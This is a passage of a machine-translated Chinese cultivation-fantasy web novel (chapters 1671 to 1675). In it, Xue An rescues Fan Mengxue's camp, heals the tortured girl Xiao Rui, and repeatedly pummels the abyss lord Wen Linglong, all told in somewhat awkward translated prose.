    "Where did you go?" Xue An smiled, "Then you should ask the person involved!"


    After that, Xue An looked at a certain place, "Let''s go! Go and see Mengxue first!"


    The 13th floor is huge!


    In fact, a long time ago, Paradise Lost referred to the thirteenth layer of heaven, but the following cities were created because of the gradual growth of Paradise Lost.


    Xue An had been here before, coupled with the perception in his divine mind, so he soon flew over the big city, and finally came to the front line of the confrontation between the coalition army and Fan Mengxue''s camp.


    Because Fan Mengxue unceremoniously rejected Wen Linglong''s "recruitment", under the command of Wen Linglong in the past two days, the coalition camp has aggressively invaded and is madly eating away at the territory controlled by Fan Mengxue.


    When Xue An led everyone here, the battle was already in full swing.


    Although the strong from both sides did not appear on the scene, but these pawns alone have already been blushing.


    But it can be seen that Fan Mengxue''s side is gradually falling under the wind under these soldiers from the abyss, and can only fight and retreat.


    Under this circumstance, the soldiers of the abyss became more and more crazy, and some of the injured and fallen to the ground were swallowed by several soldiers of the abyss before they died.


    And such a cruel scene spread across the entire battlefield, making it unbearable to look directly at it.


    Upon seeing this, Xue An snorted coldly, and then many sword lights appeared in front of him.


    Immediately after these sword lights fell like snow, they began to frantically strangle all the soldiers of the abyss.


    Puff puff!


    Facing the sword light like a wandering dragon, these abyss soldiers didn''t even have the power to fight back, they were cut open their throats, and then fell to the ground.


    in a blink.


    All abyss soldiers in the entire battlefield were all strangled.


    The soldiers on Fan Mengxue''s side were dumbfounded, staring blankly at the miraculous scene, and then raised their heads to look at the people in the sky who had already gone.


    "Oh my god, is the ancestor showing up?" someone whispered softly.


    Of course Xue An would not hear this, because he had already left after sending out the sword light.


    The front line is not far from where Fan Mengxue lives.


    At Xue An''s speed, it can be said to arrive in no time.


    Fan Mengxue, who was sitting in the old castle, also felt something, suddenly raised her head and looked outside.


    At the same time, Xue An also arrived.


    Fan Mengxue felt that her heart was about to jump out. With her dry mouth, she stood up almost in a panic, and then stumbled out.


    Just walking outside, it happened that Xue An had also fallen on the ground.


    The two hit each other.


    Fan Mengxue was stunned.


    Xue An put the two little girls in his arms on the ground, then smiled at her slightly, "Long time no see!"


    Fan Mengxue took a deep breath, suppressed her excitement, and slowly said: "Yes! Long time no see!"


    At this moment, the entire castle was also alarmed.


    All those who stayed here were driven out.


    "Is this the person that His Highness said?"


    "It shouldn''t be wrong, does it look handsome!"


    "Huh, why are there two little girls?"


    While discussing.


    Miss Miss Nian happily ran to Fan Mengxue.


    "Aunt Mengxue! It''s really you! We miss you so much!"


    Hearing the innocent words of the two little girls, Fan Mengxue''s tears burst into her eyes, and then she knelt down, stroking the two little girls'' cheeks tremblingly.


    "I miss you too!"


    "Aunt Mengxue, why are you crying?" Think about it.


    "Yeah, Aunt Mengxue, did anyone bully you? Then let my father beat them for you!" Niannian said, waving her small fist.


    Fan Mengxue burst into laughter, "Hmm!"


    at the same time.


    An Yan and others also arrived.


    Fan Mengxue quickly wiped away her tears, stood up and saluted, "Sister Yan..."


    An Yan stepped forward quickly, grabbed her wrist, and said softly: "Okay! Don''t be so polite between you and me!"


    With that said, An Yan looked at Fan Mengxue a few times before sighing, "I haven''t seen you for so long, you have lost weight!"


    Fan Mengxue lowered her head, her eyes red again.


    Hu Ying watched from behind.


    She didn''t know Fan Mengxue, but with a woman''s intuition, she could almost see Fan Mengxue''s feelings for Brother Xue at a glance.


    So she couldn''t help but be more conscious of comparison.


    Ok!


    It looks pretty good. Although it''s a little bit close to me, it''s not bad.


    Body shape....


    Hu Ying looked down at her flat figure, and then automatically ignored the topic.


    But it seems that this woman has been seriously injured!


    Hu Ying stood still thinking wildly.


    Zhang Xiaoyu patted her lightly, "Sister Fox, adults and they are all in!"


    "Ah!" Only then did Hu Ying wake up, and walked in, but she suddenly asked after a few steps.


    "Little fish!"


    "Ok?"


    "Who do you think is pretty with this Fan Mengxue or me?"


    Zhang Xiaoyu suddenly felt her hair stand up, and her eyes became erratic.


    "This..."


    "Answer honestly!"


    "Uh...Of course it is Sister Fox, you are more beautiful!"


    "Well, I have a good vision, I think so too!"


    After that, Hu Ying left happily.


    Only then did Zhang Xiaoyu let out a sigh of relief.


    Damn, luckily I am clever!


    When they walked into the hall, Fan Mengxue''s subordinates had already rushed over, all eyes were on Xue An, who was chatting and laughing with Fan Mengxue.


    And they also noticed that at this moment, His Royal Highness, who doesn''t pretend to show any words to any man, actually looks like a woman.


    This strong contrast is simply stunned.


    At this moment Xue An suddenly stopped, and then went straight to a corner.


    Fan Mengxue was taken aback, not understanding what Xue An was going to do, but she also hurriedly followed.


    At this moment, Xiao Rui, dressed in black, was standing quietly in the corner.


    Xue An walked in front of her and slowly stopped, eyes full of regret.


    An Yan also recognized Xiao Rui at this time, and exclaimed, "Husband, she... is she Xiao Rui?"


    Fan Mengxue was also taken aback, "Sister Yan, do you know Xiao Rui?"


    An Yan sighed slightly, and then recounted the story.


    After Fan Mengxue heard it, she finally understood what was going on.


    At this moment, Xue quietly looked at Xiao Rui who had been transformed into the strongest killer, and the anger in his eyes was gradually blazing.

 Chapter 1671： I picked it up

    "I picked it up!" Fan Mengxue said softly.


    Hearing these words, Thinking and Niannian opened their eyes wide, and then looked at Xue An.


    "Dad, this elder sister is so old, why would she be lost?"


    "Yeah! Neither of us will get lost now!"


    Xue An did not speak, but sighed lightly, then quietly looked at Xiao Rui standing in the corner.


    Somehow, when Xue An stood in the court, Xiao Rui became unusually quiet.


    But she still didn''t speak, not even a trace of superfluous expression.


    At this time, Fan Mengxue went on and said: "At that time, the master had just disappeared, and she appeared outside the old castle where I lived. I still remember the first time I saw her!"


    "It was a very ordinary morning, I didn''t notice any strangeness, but when I went out, I saw her standing in the corner at a glance!"


    "She was badly injured at the time. I haven''t even seen anyone who can live after being so badly injured! But at that time she looked calm!"


    "That was the first time I saw her, and I don''t know why. After seeing her, I subconsciously felt that she was looking for me! So I took her back to the castle."


    "Then... I''ll check her injury." A look of anger appeared on Fan Mengxue''s face.


    "At this time I found out that not only did she have wounds left over from the fierce battle, but also many old wounds, and these injuries were not left over from the battle, but... but left after being cruelly abused. of!"


    Fan Mengxue''s voice shuddered, but everyone was silent upon hearing this.


    People can''t imagine what cruel torture this Xiao Rui, who looks calm like a girl next door, has experienced.


    "At that time, I felt like I had picked up an injured kitten, but after she gradually recovered, I realized that she had extremely terrifying strength!"


    Fan Mengxue talked slowly, telling the story of how to find Xiao Rui at that time.


    Xue An listened silently, and suddenly stretched out his hand to touch Xiao Rui''s head.


    This action also shocked Fan Mengxue''s subordinates.


    Because they all knew that this girl who looked very quiet on the outside was actually a murderous **** who was stranger. Except Fan Mengxue who could touch her, anyone who came close to her would be killed without hesitation.


    But to everyone''s surprise, when Xue An''s hand touched Xiao Rui''s hair, instead of resisting, she showed a pleasant look.


    It is as if a kitten is being petted by its owner.


    Such a sight also shocked Fan Mengxue.


    At this time, Xue An said calmly: "Mengxue, do you know why you picked her up?"


    Fan Mengxue shook her head.


    "That''s because you have my breath!"


    Speaking of this, Xue An''s face showed a touch of regret.


    "After experiencing hellish cruel torture, she has forgotten many things, but she still remembers my breath, so she followed this breath to find you, and finally found you!"


    Hearing Xue An''s explanation, Fan Mengxue suddenly realized.


    The two little girls heard tears in their eyes, "Dad! This young lady is so pitiful! Can you help her?"


    "Yeah! She is so pitiful, can she get her back to normal?"


    Many people also turned their attention to Xue An.


    Xue An was silent for a while, and finally nodded, "I''ll try it! But the prerequisite for her to recover is to gather all her avatars that have been left out, so that there is a glimmer of hope that the separated spirits can be merged together again. !"


    Fan Mengxue said: "There are three clones of her in the old castle. Besides, there are five more out there! I will call them back now!"


    quickly.


    Eight avatars were summoned back, plus the two previously fused together, now there are half of the avatars.


    Seeing these Xiaorui with the same appearance and cold killing intent, An Yan couldn''t help being angry.


    "What means is it necessary to treat a little girl so cruelly?"


    "It''s alchemy!" Xue An said softly.


    "Huh? Alchemy?"


    Xue An nodded, "Yeah! Forcibly dividing the human spirit, and then creating a powerful body, and infusing these spirits into it, this can only be done by alchemy!"


    "This bunch of bastards!" An Yan''s expression changed, and finally he cursed fiercely: "If I catch the culprit, I will definitely break him into pieces, so that he can also taste the taste of being treated as a toy!"


    Xue An was expressionless, but said softly: "Don''t worry, they will soon have to pay for their arrogance!"


    After that, Xue An ordered: "You all go out, it''s good to leave Yan''er and Mengxue here!"


    Everyone didn''t dare to neglect after hearing this, and hurriedly backed out.


    Although Xue An''s strength is not clear, these people can also guess that this young man is absolutely extraordinary through the deep-rooted attitude revealed in his words and deeds.


    Maybe this time the situation will really be reversed, as His Highness said!


    Soon, Xue An, An Yan, and Fan Mengxue were left in the hall.


    Even the two little girls were taken out by Hu Ying and Zhang Xiaoyu.


    Xue An took a deep breath, then raised his hand and drew a dense talisman in the air.


    Immediately after Xue An took a step forward, he imprinted this seal on the forehead of Xiao Rui who was standing in the front.


    Xiao Rui snorted, her face looked painful, and then a divine light appeared above her head.


    When the light came, the other eight Xiaorui roared together, and a virtual image appeared on the top of their heads.


    Xue An stepped forward, with a spring thunder in his tongue, and shouted: "Hey!"


    boom!


    The eight imaginary images gathered on Xiao Rui in the middle.


    Then the light flourished.


    Xue An''s eyebrows drooped, and he raised his hand to take a picture.


    The already condensed image of Xiaorui was shot into the sea of ??knowledge by Xue An with the palm of his hand But this is just the beginning, the violent power comes out in an instant, and Xiaorui''s face appears. The color of pain, the body also began to expand, as if it would burst at any time.


    Xue An didn''t hesitate, raised his hand and pointed it on Xiao Rui''s forehead.


    The raging force was directly suppressed, and despite several struggles, they were suppressed by Xue An without exception.


    In the end, these violent forces fell docilely.


    After doing all this, Xue An let out a sigh, then took a step back and said: "Okay, you will deal with the rest!"


    After that, Xue An turned and left.


    When he walked out of the room, the brilliance of Xiaorui''s body suddenly disappeared, and then she fell to the ground without an inch, completely unconscious.


    Only then did An Yan and Fan Mengxue understand that Xue An had just let everyone out for this reason.

 Chapter 1672： The sound of wind and thunder

    A bright moon hangs high.


    The castle is very lively, because a grand celebration is being held.


    The battle report on the front line had been sent back at this moment. When it was heard that Xue An had wiped out all the soldiers in the coalition camp, all of Fan Mengxue''s men were crazy.


    So there is this celebration.


    Because these people have been suppressed for too long.


    Since the disappearance of their ancestors, they have been in a state of high tension all the time.


    Especially when facing the aggressive and powerful pressure of the coalition forces, it was even more awake at night.


    Even many people fell into despair.


    But now the situation has suddenly changed.


    His Royal Highness actually invited reinforcements, and the reinforcements won a victory as soon as they arrived.


    How can this not make them crazy.


    Xue An just smiled faintly at this, but did not stop.


    Because he knew that these people really needed a victory to vent.


    At this moment, Xue An was sitting on the highest platform of the old castle, taking the wine into the wind, silently.


    The sound of laughter coming from afar further brought out the silence here.


    An Yan was sitting quietly beside Xue An.


    After a long time, she said softly: "Husband, are you very unhappy?"


    Xue An turned his head and glanced at An Yan, then smiled slightly, "Why do you say that?"


    "Because I can feel it!" As he said, An Yan lightly leaned his head on Xue An''s shoulder, "Husband, do you feel uncomfortable in your heart?"


    Xue An gently stroked An Yan''s hair, and after a moment of silence, he sighed softly, "Yes! I am really unhappy, because I feel very sorry for Xiao Rui!"


    "Husband..." An Yan yelled softly.


    Xue An waved his hand. "At the time Xiao Rui''s mother asked me to rescue Xiao Rui before she died, I promised her, but when I found Xiao Rui again, she became what she is now! So I felt very deep in my heart. Sad!"


    An Yan didn''t speak, but gently hugged Xue An''s arm tightly, until after a while, she whispered.


    "Husband, in fact, you don''t have to blame yourself so much. The one who really deserves to be punished is to turn Xiaorui into such a person, not a ghost, not you!"


    Xue An turned his head and looked at An Yan quietly.


    An Yan was staring flushed, "Husband, am I wrong?"


    Xue An chuckled, then raised his hand to mess An Yan''s hair, "Of course it is! I just think that my Yan''er has grown up suddenly!"


    An Yan gave a cry and gave Xue An a soft punch, "I hate it, it sounds like I''m a child!"


    Xue An laughed, then put An Yan in his arms.


    An Yan lay down on Xue An''s lap.


    Xue An looked up at the moonlight in the distance, and said lightly: "Actually, I didn''t blame myself, I just felt a little sad! Because, as you said, the person who really deserves to be punished is to turn Xiao Rui into the person he is now. !"


    An Yan looked at Xue An''s calm face when she was talking, and there was a look of obsession in her eyes.


    She likes Xue An now.


    Quiet and powerful!


    At this moment, footsteps came from the steps of the rooftop.


    An Yan hurriedly sat up.


    At the same time, Fan Mengxue came up with a few glasses of wine.


    "Sister Yan, this is for you!"


    With that, Fan Mengxue handed An Yan a glass of wine.


    An Yan took it with a smile, but did not drink, but stood up and said, "Where are the two little girls?"


    "Think and Nian Nianzheng is playing with that little octopus down there!"


    "I''ll go see them! You guys talk first!"


    Having said that, An Yan turned and wanted to do it.


    Fan Mengxue couldn''t help being a little surprised, "Sister Yan, you..."


    But before she could finish her words, An Yanye had already walked down the stairs and left.


    Xue An and Fan Mengxue were left in the field for a time.


    Fan Mengxue was holding the plate, standing there a little embarrassed, with a thousand words in her heart, but she didn''t know what to say.


    At this moment, Xue An smiled faintly, "Sit down! Yan''er has indeed gone to see the two little girls, otherwise Zhang Xiaoyu alone can''t hold them both!"


    Fan Mengxue was silent for a moment, and finally put the wine glass on the coffee table, and then sat a little far away from Xue An.


    When Xue An saw this, Guanghua flashed in his eyes, but didn''t say anything. He just smiled, and then said indifferently: "Let''s talk about it, these days after leaving the earth...what have you experienced!"


    Fan Mengxue did have countless things to say to Xue An, but she swallowed them all when they came to her lips.


    In the end, she lowered her head, squeezed the corners of her clothes with both hands, and whispered about the passing after parting.


    Xue listened quietly, until Fan Mengxue had finished speaking, he picked up the cup and took a sip.


    Only the wind blows on the roof.


    Fan Mengxue''s heart gradually tightened, but she didn''t even dare to look up at Xue An.


    It was not until a long time later that Xue An chuckled lightly, "Anyway, let you worship him as a teacher, this guy will really take advantage!"


    Fan Mengxue knew who Xue An was talking about, and she couldn''t help raising her head in surprise to look at Xue An.


    "Do you... know my master?"


    "It''s not just about knowing it, but speaking of it... the old guy still owes me three favors!"


    Fan Mengxue''s brain was in a state of downtime, and his master actually knew Xue An?


    Xue An saw Fan Mengxue''s surprised look, and couldn''t help but chuckle: "Are you surprised? It seems that the old guy didn''t tell you these things! But I am really puzzled, the Dark Saint Emperor Jue you practiced. His rank is so high that he can''t match it, so when he is your teacher, what can he teach you?"


    Fan Mengxue replied honestly: "Master did not teach me the exercises, he just told me, let me practice this exercise, and then..."


    "Then taught you some application methods, right?"


    Fan Mengxue nodded.


    Xue An scolded with a smile: "This old thing is really cunning! Do you really think he wants to be your master? You are wrong! When he sees the Holy Emperor Judgment you are practicing, he should understand you and me. It''s a relationship, so he did it just to let me come over!"


    Fan Mengxue listened in dismay.


    She really doesn''t know these things!


    Xue An said calmly: "Where is that old guy now, do you know?"


    Fan Mengxue''s face turned dark when she heard the words, and shook her head, "I don''t know! Because the master has disappeared for a long time!"


    "Are there many powerhouses in the thirteen layers of who disappeared together?" Xue An suddenly asked.


    Fan Mengxue was taken aback, then nodded immediately, "Yes! That''s true!"


    "Sure enough..." Xue An sneered, then stood up and wandered to the edge of the platform.


    "I don''t hesitate to trap that old guy with the power of so many powerful people. What are you trying to do? Is it just this lost paradise under your feet?" Xue An said softly.


    Fan Mengxue didn''t speak, but looked at Xue An''s back with a silver rim covered by moonlight.


    At this moment, a rumbling thunder suddenly ran across the distant sky, and the wind became violent.


    Xue An stood facing the wind, his clothes wafting like an immortal.


    In his eyes, it was cold.


    "Very well, I took the initiative to deliver it to the door!"

 Chapter 1673： Seeing blood

    Wen Linglong is very angry now.


    Very very angry.


    Because he never expected that his soldiers would destroy most of them in one day.


    "Who...who did this?" Wen Linglong roared as he looked at the dead bodies on the battlefield.


    "Return... Master Hui, it has just been found out that it was done when a group of people passed by here!"


    "What about this team?"


    "I have gone to the dark princess'' camp!"


    Wen Linglong was startled, "Dark Princess? Fan Mengxue''s subordinates? How could it be possible! Besides Fan Mengxue, who else can have such strength to kill all my pawns in one blow?"


    On the side, Qi Weiyang couldn''t help but sneered, "What if it is a new reinforcement?"


    "Impossible! Absolutely impossible!" Wen Linglong said immediately: "The Lost Paradise has been completely sealed off, and the 13th floor is independent of many cities. How could there be reinforcements from Fan Mengxue?"


    "Then how do you explain the current situation?" Qie Weiyang said lightly.


    Wen Linglong stared at the dead corpses all over the floor, and was speechless for a while.


    Qie Weiyang said lightly at this time: "In fact, it is very simple to solve this problem. Just kill it and see what''s going on?"


    "Kill directly? This..." Wen Linglong suddenly hesitated.


    The look of contempt on Qi Weiyang''s face grew stronger.


    "Why? Still reluctant to bear this Fan Mengxue? Young Master Wen, I hope that when you pity Xiang Yuyu, don''t forget what the task is this time. If something goes wrong, you know the consequences!"


    Wen Linglong''s complexion changed.


    Qi Weiyang went on to say: "Besides, we have given the other party enough time. Now that she refuses to surrender, the hope of forcing her to subdue is very slim. It''s better to kill it directly and force her to surrender!"


    Under Qie Weiyang''s persuasive temptation, Wen Linglong''s expression changed, and finally gritted his teeth.


    "It makes sense, then we will leave now!"


    So Wen Linglong led the army directly over.


    Because he personally led the army commander to drive straight in, the defensive pawns were passed easily before they could react.


    And when he brought the wind and thunder to the castle.


    The people who were celebrating warmly also noticed the strangeness, and rushed out one after another, looking up.


    This doesn''t matter.


    The complexions of these people instantly became extremely pale.


    Because at this moment.


    Half of the sky was occupied by the Abyss Alliance led by Wen Linglong.


    But seeing that under the black and overwhelming army, the mighty power seemed to stop the wind.


    In an instant, the audience became silent.


    People looked at these abyss coalition forces with trepidation, and some of them were timid and their legs were shaking.


    The second-ranked realm master Xie Ming was pale and sweaty at this time, and was almost about to kneel to the ground.


    Because they were both of the abyss race, the suppression of blood from Wen Linglong really made him somewhat powerless.


    Even Hu Ying couldn''t help showing a touch of surprise in her eyes.


    Although I don''t know the gold content, judging from this breath, the guy in the lead actually has the cultivation base of a first-class fairy king.


    Thinking that Brother Xue''s current strength is only a half-step Immortal King, this can''t help but cause a hint of worry in Hu Ying''s heart.


    And when everyone looked at Wen Linglong and others, Wen Linglong was also looking at everyone below.


    He just glanced briefly at those familiar faces, and then skipped it.


    Then his eyes were attracted by the human youth who stood in the forefront with a long jade body and an indifferent expression.


    Not only because of the unique temperament of this human teenager, but more importantly, Wen Linglong saw that the dark princess Fan Mengxue who she wanted to dream about was standing behind this human teenager at the moment, obediently like a little maid.


    This couldn''t help making Wen Linglong''s heart full of terrible anger.


    Especially thinking of the words Fan Mengxue said before, could this young man be the one she was waiting for?


    These thoughts made Wen Linglong''s murderous intent rise in his heart, and he couldn''t help smiling sadly: "Fan Mengxue, what? Did you find a helper so quickly? Unfortunately, do you think you can escape this way? I said you were mine. Then it will definitely be mine! No one can change it!"


    The clamor shook the four wilds.


    Xue An raised his eyebrows slightly, then turned to look at Fan Mengxue, "Is he the one who bullied you before?"


    Fan Mengxue suddenly felt that this sentence was so familiar, and she nodded subconsciously.


    "He... he wants me to yield and become his plaything!"


    Xue An nodded, "Okay, I get it! Don''t be afraid! There is me!"


    At the last four simple words, Fan Mengxue was startled, then her nose sour, tears burst into her eyes.


    Because at the beginning, Xue An said that to himself.


    When Xue An was talking to Fan Mengxue, Wen Linglong was almost mad.


    No one has ever dared to ignore his existence so much.


    Especially the other party is still a little-known human teenager.


    In the monstrous anger, he roared, "Where is the kid who dares to be so arrogant and die for me!"


    With that, Wen Linglong took a picture with a palm.


    The majestic force came crashing, if it hits it, it will be enough to blast a dragon into meatloaf.


    But Xue An didn''t even look at this palm, and with a wave of his hand, he broke the power of this palm.


    Then coldly said: "You just said she belongs to you, no one can change it?"


    "So what?" Wen Linglong roared, and then took another palm.


    "Nothing, just want to confirm it!"


    Before the words fell, Xue An had disappeared in place.


    The speed is so fast that even Wen Linglong didn''t even notice it.


    This can''t help but shock him.


    But at this moment, Xue An''s voice came from behind him, "You dare to bully even my friend, then you go to death now!"


    In fact, when Xue An just uttered the first word, Wen Linglong had already urged his figure to leave here.


    But before he could move, a huge force directly restrained Wen Linglong''s neck.


    Wen Linglong screamed and tried to struggle away.


    But at this moment, Xue An raised his fist and slammed it directly on Wen Linglong''s head.


    boom!


    This muffled sound seemed to shake the world.


    Fortunately, Wen Linglong''s head was hard enough, otherwise this punch would directly explode his head.


    But even so, Wen Linglong was dizzy by this fist, nosebleeds flowing.


    at the same time.


    Xue An raised his hand again, "Look at how many punches your head can bear for me!"


    With that, Xue An directly pressed Wen Linglong who was dizzy and fell on the ground, then raised his hand and punched it.


    boom!


    A deep hole appeared on the ground.


    Wen Linglong''s head was smashed into the ground with this punch.


    But this is just the beginning I saw Xue An not rushing, hitting with one punch, and every punch would make the earth tremble.


    Wen Linglong''s body also twitched, and in an instant, a large hole appeared on the ground.


    Most of Wen Linglong''s body had gone deep into it and disappeared.


    Despite this, Xue An still punched out slowly.


    Blood splashed on his face, and Xue An didn''t show any expression.


    at last.


    Just listen to a muffled sound.


    A pool of milky white slurry appeared on the ground.


    Xue An then slowly stood up and smiled at the already stupid Qie Weiyang in the sky.


    "Qiantianyuan?"

 Chapter 1674： abyss

    Qi Weiyang was scared and took a few steps backwards.


    Because at this moment, Xue An''s aura on his body is too shocking.


    Especially when he just barely smashed Wen Linglong into mashed flesh, it made people shudder at the sight.


    However, Qie Weiyang was also a disciple from a prominent school, so he quickly recovered his composure, and his face gradually became gloomy.


    "Who are you? How do you know my teacher?"


    "Hehe, I don''t only know your teacher''s door, I also know that your house owner is Shang Liang, right?" Xue An said lightly, while speaking, he gently wiped the blood from his face with his hand.


    Qie Weiyang was even more angry now.


    Qiantianyuan is a sect that can be called a name among the heavens, and it is not surprising that it is called a nameless.


    But not everyone knows the name of the owner of his house.


    The white-clothed boy in front of me dared to call his name directly. Could it be that he had any connection with me in the Qiantianyuan?


    Just when Qie Weiyang was in shock.


    The earth suddenly began to tremble, and then in the big pit behind Xue An, a powerful force rose to the sky.


    A spiteful roar came from the mighty power.


    "Dare to hurt me, I''m going to kill you!"


    Following the voice, a figure came straight to Xue An.


    The speed is so fast that even the space has been plowed into a deep chasm.


    "Be careful!"


    "My lord, be careful!"


    The crowd kept exclaiming.


    But Xue An didn''t even turn his head back, just slammed his hand back at the moment of his death.


    Bang!


    Xue An''s palm for a long time blocked the rushing Wen Linglong, and shook it out.


    Wen Linglong backed back again and again, and finally stabilized his figure in the air.


    Looking at him again at this moment, his face was blue, his eyelids throbbed crazily, and his eyes were full of crazy killing intent.


    That''s right!


    At this moment, Wen Linglong was indeed going crazy.


    From the day when consciousness was born, he had never been so humiliated.


    Especially in the presence of so many people, this was a shame.


    So he just woke up from the shock of being blown out of his head, the first thing was to settle accounts with Xue An.


    But I didn''t expect to be shaken back again.


    He wasn''t a fool either. Naturally, he knew that the young man in front of him who had repeatedly repelled him was no ordinary person, and his eyes became more serious.


    But no matter what, he must completely defeat Xue An, otherwise he won''t want to command these abyss coalition forces in the future.


    So he took a deep breath, but saw that the corpse on the ground that had become muddy suddenly began to wriggle, then turned into a mass of flesh and blood, jumped into the air, and merged with Wen Linglong.


    Behind him, an extremely violent power gradually emerged and kept growing.


    In the blink of an eye, these powers condensed into a huge virtual octopus.


    After seeing this scene, the small octopus in the crowd had a dull face, her mouth could not help being opened, and then she couldn''t help but let out a sigh.


    "Fuck, it''s also an octopus!"


    Then she looked at Wen Linglong very enviously, and couldn''t help but think, why are the same octopuses so powerful?


    The octopus virtual image was waving huge tentacles, and the space was faintly shaken with cracks wherever it passed.


    This scene made many people see it with horror.


    After all, this kind of power is simply unheard of.


    Xue An didn''t have any expression, just watched quietly.


    Of course he knew that it was impossible to kill Wen Linglong with just a fist.


    As for this huge octopus phantom, other people were afraid, but he didn''t even blink his eyelids.


    Even the corners of his mouth gradually raised, revealing a cold smile.


    Seeing this scene, Wen Linglong''s heart was even more furious. He had never seen this kind of speechless contempt, so he roared: "Boy, I don''t care who you are, today... you are dead!"


    The voice just fell.


    This huge octopus virtual image combined with Wen Linglong, and then the huge tentacles waved and compressed back like springs.


    The atmosphere suddenly became serious.


    Xue An smiled slightly, "This is exactly what I want to say! And..."


    Xue An slowly raised his head, his eyes gleaming like stars, "It was just an appetizer just now, and then, it''s the highlight!"


    boom!


    That is, when Xue An''s voice just fell, the octopus tentacles were compressed to the extreme, and then suddenly loosened.


    Under the tremendous pressure, Wen Linglong rushed straight forward like a cannonball. Wherever he passed, the space was like fragile paper, folded and compressed in layers.


    The speed is so fast that people have rushed to Xue An before they even have time to react.


    The violent air current aroused by tremendous pressure blew Xue An''s hair.


    But Xue An did not move.


    Wen Linglong was overjoyed.


    Look at you now!


    But at this moment, but seeing Xue An''s eyes narrowed slightly, he slowly raised his hand, and pressed against the head of the rushing Wen Linglong within a short period of time.


    Boom!


    Some people close by were directly spitting blood out of the mouth by the huge sound, and then backed away with amazement.


    The violent air current swept the audience even more.


    But even under such a huge power, Xue An''s figure still did not waver, but the ground under his feet cracked open a huge gap.


    Wen Linglong felt as if he had hit an extremely hard wall at this time, shocking himself dizzy.


    But as an abyss race, and at the same time possessing an immortal king cultivation base, how could he concede defeat so easily.


    At the moment when Xue An was blocked by Xue An, the octopus tentacles behind him surged up, and then they wrapped Xue An in layers.


    Then there was a frantic strangulation.


    Wen Linglong was relieved until he heard the chuckle from the tentacle package, and then laughed.


    "Anyone who went head-to-head with me, now I will let you even your bones to be broken!"


    Standing high in the sky, Wei Weiyang couldn''t help but let out a sigh of relief Although this Wen Linglong was stupid, he still had strength.


    No matter who this boy is, he is dead now!


    Then Wen Linglong looked at Fan Mengxue triumphantly.


    "Haha, Fan Mengxue, is this the one who wants to wait for the night? Unfortunately, he is dead now! And he died in my hands, but you are different. As long as you surrender obediently, I can still let you go. Horse!"


    But Wen Linglong did not see the expected sadness on Fan Mengxue''s face, on the contrary, a cold sarcasm appeared.


    "Oh, do you really think you have won?"


    "Nonsense, this guy is dead, so of course I win..."


    Before the last word was spoken, I saw the tentacles wrapped in layers suddenly bulge out.

 Chapter 1675： Thats it?

    Wen Linglong was taken aback for a moment, that is, at this moment, he saw a fist suddenly blasted out of it, just hitting Wen Linglong''s head.


    boom!


    This punch was extremely powerful, and Wen Linglong had no time to react at all, because he was smashed into a solid body.


    Wen Linglong flew upside down.


    Then these tentacles began to squirm in pain, and finally burst apart.


    Xue An walked out slowly, without even a trace of blood on his body, coldly glanced at Wen Linglong who had been blasted away, then smiled slightly and blew his fist gently.


    "That''s it?"


    Seeing this scene, everyone who was worried about it just now breathed a sigh of relief.


    Qie Weiyang couldn''t help but lifted his heart to his throat, his eyes filled with horror.


    How is this possible?


    He didn''t use much cultivation base during the whole process, and only with the strength of his physical body, he was inextricably beaten with Wen Linglong from the abyss?


    What is his strength?


    Isn''t it the half-step immortal king shown by his appearance?


    Or, is he an extremely rare body practice among the heavens?


    These thoughts were entangled in Qi Weiyang''s mind, making her confusion into a pot of porridge.


    At this time, Wen Linglong, half of his head was almost shattered by this punch. Although his body was hard to avoid a brain burst, he was not comfortable.


    For example, his nose and mouth are flowing out with blood mixed with brains.


    It was obviously a severe concussion by this punch.


    Even he had to spend a lot of energy to recover from such an injury.


    Therefore, at this moment, he could only look at Xue An, who was opposite, with a dignified look in his eyes.


    He has never suffered such a loss.


    The key is that he was crushed and beaten by this white-clothed boy from beginning to end.


    This feeling is too awkward.


    Wen Linglong took a deep breath and said coldly: "I have to admit that your strength is indeed beyond my imagination! But with physical strength alone, do you really think you can knock me down?"


    Xue An took out his ears in his spare time, "Huh? What do you think?"


    "Haha, I understand, you must be those who specialize in tempering the body in the human race! But although your physical power is strong, you still have to lose! Because what I say is the law!"


    Wen Linglong pronounced the last eight characters in an extremely ancient language.


    This statement came out.


    The world has changed color.


    Countless auras all gathered on Wen Linglong, setting off him like a master who controls everything.


    A dignified color appeared in Qie Weiyang''s eyes, and he whispered: "Speak out and follow the law. This is the real reason why the Wen family of the abyss can stand up!"


    That''s right!


    At this moment, what Wen Linglong displayed was the talent that would only be awakened in the blood of the Wen family''s direct line, and he spoke the way.


    As the name suggests, this talent will be achieved as long as he speaks.


    This is a talented skill that is so powerful that it is almost unsolvable.


    Because of this, Wen Linglong was able to achieve the position of the Immortal King at such an age.


    at the same time.


    Seeing that Wen Linglong''s face was as majestic as an ancient god, he raised his hand and pointed at Xue An, "Your body should be destroyed, and your spirits will fall!"


    Speaking of it, the law of heaven and earth was established in an instant, and began to frantically strangling Xue An.


    Wen Linglong''s heart secretly relieved!


    All right!


    It''s finally over!


    Although the display of such a talent has caused a lot of pressure on himself, it has destroyed the opponent anyway.


    But I never expected that these laws of heaven and earth that tried to repel or strangle Xue An had just come on top of his head.


    Xue An smiled slightly, "Such a natural ability, is it too embarrassing to say that you can speak the law?"


    Ok?


    how is this possible?


    Wen Linglong''s eyes widened instantly.


    How could someone still be able to speak nonchalantly even after gaining their talents?


    At this moment, I saw Xue An take a step forward and said coldly: "I am the heaven and earth, how can you strangle me?"


    Having said that, Xue An''s figure directly broke through the heaven and earth auras that bound him, instantly appeared in front of Wen Linglong, and then raised his hand with another punch.


    boom!


    Wen Linglong stumbled and flew out, another big bag on his head.


    He was so angry that he almost vomited blood.


    What happened to me today?


    The head seemed to have become a wooden fish, being knocked constantly by this human teenager.


    "My fucking..." Wen Linglong wanted to say something cruel.


    But Xue An obviously didn''t intend to give him this opportunity, only to see his figure flashed, and another punch was raised.


    Bang bang bang!


    It was time for Xue An to perform alone, but seeing Wen Linglong being bombarded by Xue An flying around, often before he could stand firmly, he was bombed out by Xue An again.


    Everyone stared at this dazzling scene in amazement.


    who am I?


    where am I?


    Is this a dream?


    These three question marks appeared in many people''s minds.


    Because this scene is simply incredible.


    Thirteen days before King''s Landing, Wen Linglong, who was astonishingly powerful, was hit by a half-step immortal king''s human race boy.


    If you didn''t see it with your own eyes, it would be like dreaming!


    Qi Weiyang is the boss with an open mouth.


    At this moment, Wen Linglong suddenly yelled in tears.


    "No... don''t slap your face anymore!"


    Then people saw an even more incredible scene.


    But seeing Wen Linglong lying on the ground with his head swollen four or five times, he shouted weakly.


    "Please, stop hitting me on the head!"


